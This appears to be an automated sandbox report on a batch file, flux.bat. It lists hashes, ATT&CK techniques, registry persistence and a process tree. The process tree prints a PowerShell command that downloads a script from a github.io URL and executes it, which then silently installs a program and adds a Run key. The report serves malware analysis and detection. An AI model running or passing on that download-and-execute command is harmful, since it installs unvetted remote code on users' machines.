4b9e4bbd675a45f1a99d54bff55576ba3c6d79ab76ea30e143d89fc1543e8580

Analysis

max time kernel
93s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-11-2024 06:22

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General

Target

Files/Apps/flux.bat
Size

290B
MD5

629667380059fb33d4933a722c139be3
SHA1

a52944fdceef5368eaf140558066df825b35ea28
SHA256

86d43de03fd141ad2180804577f817534f27cced767a8451b4804f47cc6037ee
SHA512

ad474e7582751447067b002f2af3ab473d40087a3ce850551dbf2636887c3279aa58b57b930892585419e0df10e31deb42503bc787cb394df9dcea4ce1abed92

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

6 2040 powershell.exe
10 2040 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

flux-setup.exeflux.exeflux.exe

pid process

4480 flux-setup.exe
5068 flux.exe
4956 flux.exe
Loads dropped DLL 3 IoCs

Processes:

flux-setup.exe

pid process

4480 flux-setup.exe
4480 flux-setup.exe
4480 flux-setup.exe

flow	pid	process
6	2040	powershell.exe
10	2040	powershell.exe

pid	process
4480	flux-setup.exe
5068	flux.exe
4956	flux.exe

pid	process
4480	flux-setup.exe
4480	flux-setup.exe
4480	flux-setup.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

flux-setup.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f.lux = "\"C:\\Users\\Admin\\AppData\\Local\\FluxSoftware\\Flux\\flux.exe\" /noshow"	flux-setup.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2040 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2040	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

flux-setup.exeflux.exeflux.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	flux-setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	flux.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	flux.exe

NSIS installer 2 IoCs

installer

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\Apps\flux-setup.exe	nsis_installer_1
C:\Users\Admin\AppData\Local\Temp\Files\Apps\flux-setup.exe	nsis_installer_2

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

Processes:

flux.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\flux.exe = "11000"	flux.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	flux.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exeflux-setup.exe

pid process

2040 powershell.exe
2040 powershell.exe
4480 flux-setup.exe
4480 flux-setup.exe
4480 flux-setup.exe
4480 flux-setup.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2040 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

flux.exe

pid process

4956 flux.exe
4956 flux.exe
Suspicious use of SendNotifyMessage 2 IoCs

Processes:

flux.exe

pid process

4956 flux.exe
4956 flux.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

flux.exe

pid process

4956 flux.exe
4956 flux.exe

pid	process
2040	powershell.exe
2040	powershell.exe
4480	flux-setup.exe
4480	flux-setup.exe
4480	flux-setup.exe
4480	flux-setup.exe

description	pid	process
Token: SeDebugPrivilege	2040	powershell.exe

pid	process
4956	flux.exe
4956	flux.exe

pid	process
4956	flux.exe
4956	flux.exe

pid	process
4956	flux.exe
4956	flux.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

cmd.execmd.exepowershell.exe

description	pid	process	target process
PID 2612 wrote to memory of 3236	2612	cmd.exe	cmd.exe
PID 2612 wrote to memory of 3236	2612	cmd.exe	cmd.exe
PID 2612 wrote to memory of 3628	2612	cmd.exe	cmd.exe
PID 2612 wrote to memory of 3628	2612	cmd.exe	cmd.exe
PID 3628 wrote to memory of 4744	3628	cmd.exe	chcp.com
PID 3628 wrote to memory of 4744	3628	cmd.exe	chcp.com
PID 2612 wrote to memory of 3548	2612	cmd.exe	chcp.com
PID 2612 wrote to memory of 3548	2612	cmd.exe	chcp.com
PID 2612 wrote to memory of 644	2612	cmd.exe	chcp.com
PID 2612 wrote to memory of 644	2612	cmd.exe	chcp.com
PID 2612 wrote to memory of 2040	2612	cmd.exe	powershell.exe
PID 2612 wrote to memory of 2040	2612	cmd.exe	powershell.exe
PID 2040 wrote to memory of 4480	2040	powershell.exe	flux-setup.exe
PID 2040 wrote to memory of 4480	2040	powershell.exe	flux-setup.exe
PID 2040 wrote to memory of 4480	2040	powershell.exe	flux-setup.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Files\Apps\flux.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ver
  2⤵
  PID:3236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c chcp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3628
- - C:\Windows\system32\chcp.com
    chcp
    3⤵
    PID:4744
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:3548
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "irm https://schooicodes.github.io/file_hosting/flux.ps1 | iex"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2040
- - C:\Users\Admin\AppData\Local\Temp\Files\Apps\flux-setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Apps\flux-setup.exe" /S
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:4480

C:\Users\Admin\AppData\Local\FluxSoftware\Flux\flux.exe
"C:\Users\Admin\AppData\Local\FluxSoftware\Flux\flux.exe" /writeinstallversion
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5068

C:\Users\Admin\AppData\Local\FluxSoftware\Flux\flux.exe
"C:\Users\Admin\AppData\Local\FluxSoftware\Flux\flux.exe" /noshow
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:4956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\FluxSoftware\Flux\flux.exe

Filesize
1.5MB

MD5
036b38dd2f7d5991117cce7c9fc2fe8b

SHA1
9517c8b2778ddfe9322c80700daa43231067a5c0

SHA256
5dcaa7663eb0d46765c2ef259aaced8788f21545e15b748b13127072fe624034

SHA512
a202b3d3ba44cdff854ea03c90f997b05be976e7218d84a0116edebb1efd21995d19148d1e1c98b10bc4a03ae57971c1ec3a2502bd5d595b3783fdc616092e96

Download Submit
C:\Users\Admin\AppData\Local\FluxSoftware\Flux\runtime\flux.preset.json

Filesize
998B

MD5
2f16cae7c448269ce98fc362f88a17b3

SHA1
720816a36c132a01e20d323a91b3ee0b5087bc3e

SHA256
115a1afa03d994fa848781cd5ccd237b1f1288f34315ee07cdb039553e94ba0b

SHA512
ebcdefb7c79a9da1edb17f2b9f4a98e07cc729440a59cb9eb169754771b9b909d2480de7fdf17a35d7730642da0a0f6f924ea0c5758c933afa6b6ca80e502de2

Download Submit
C:\Users\Admin\AppData\Local\FluxSoftware\Flux\runtime\flux.psd

Filesize
253KB

MD5
3c85e1320ace8380c47c1d0a3c48be17

SHA1
9f4afdb52b09aa77163de3bd07dc3104fefdb06c

SHA256
54f5f2b622c0c1ce6b0041c332d8d49afa4a965550ce400bcb47a0b0497131bc

SHA512
41e8a49b29c713afd8441c7c607079f2c0136fb927cae87db6826bd2cc311ea10d0944a26affabe9e7f7da30ad22eb0a4a811ad87be53c7de23c76df67a8abcf

Download Submit
C:\Users\Admin\AppData\Local\FluxSoftware\Flux\runtime\flux.tre

Filesize
4KB

MD5
834f1e49c1269098ec0a526306101367

SHA1
960e14c9a03da96938674c4c3cef0025ebd24c1c

SHA256
47593343875782e0790883394470bb32cbe8b81f0db6adf3cfdffd78988fb135

SHA512
8db710b24f89e65200ab5349dadfdecefb330c62cdb4672b51811273da3949a174039f8a45334020df91095dc7b84af5bcb173926ff6becf3517c2eed72e80e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\Apps\flux-setup.exe

Filesize
670KB

MD5
ebf5b897e0e4b90143764fc39e0c5a21

SHA1
244eb29a512f1cc980bcfdc3bda2c62e1954c6d7

SHA256
b53390dba0e0c227341f3c688be3aef91455c4f926e6527af6ce1e4acf74a7b3

SHA512
94eaf96b9bb79b78cba358eb8613ff31c10cc820e54fa5a53f7da5287da7e6cb8eb73a7a4503c8714745c6715c42066f033ef059defaf700843644ea53eb7133

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vrcdkt2t.ah2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nss8893.tmp\ShellExecAsUser.dll

Filesize
7KB

MD5
86a81b9ab7de83aa01024593a03d1872

SHA1
8fd7c645e6e2cb1f1bcb97b3b5f85ce1660b66be

SHA256
27d61cacd2995f498ba971b3b2c53330bc0e9900c9d23e57b2927aadfdee8115

SHA512
cc37bd5d74d185077bdf6c4a974fb29922e3177e2c5971c664f46c057aad1236e6f3f856c5d82f1d677c29896f0e3e71283ef04f886db58abae151cb27c827ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\nss8893.tmp\nsProcess.dll

Filesize
4KB

MD5
faa7f034b38e729a983965c04cc70fc1

SHA1
df8bda55b498976ea47d25d8a77539b049dab55e

SHA256
579a034ff5ab9b732a318b1636c2902840f604e8e664f5b93c07a99253b3c9cf

SHA512
7868f9b437fcf829ad993ff57995f58836ad578458994361c72ae1bf1dfb74022f9f9e948b48afd3361ed3426c4f85b4bb0d595e38ee278fee5c4425c4491dbf

Download Submit
memory/2040-13-0x000002622E1F0000-0x000002622E3B2000-memory.dmp

Filesize
1.8MB

Download
memory/2040-0-0x00007FFD50263000-0x00007FFD50265000-memory.dmp

Filesize
8KB

Download
memory/2040-12-0x00007FFD50260000-0x00007FFD50D21000-memory.dmp

Filesize
10.8MB

Download
memory/2040-11-0x00007FFD50260000-0x00007FFD50D21000-memory.dmp

Filesize
10.8MB

Download
memory/2040-57-0x00007FFD50260000-0x00007FFD50D21000-memory.dmp

Filesize
10.8MB

Download
memory/2040-1-0x000002622DA70000-0x000002622DA92000-memory.dmp

Filesize
136KB

Download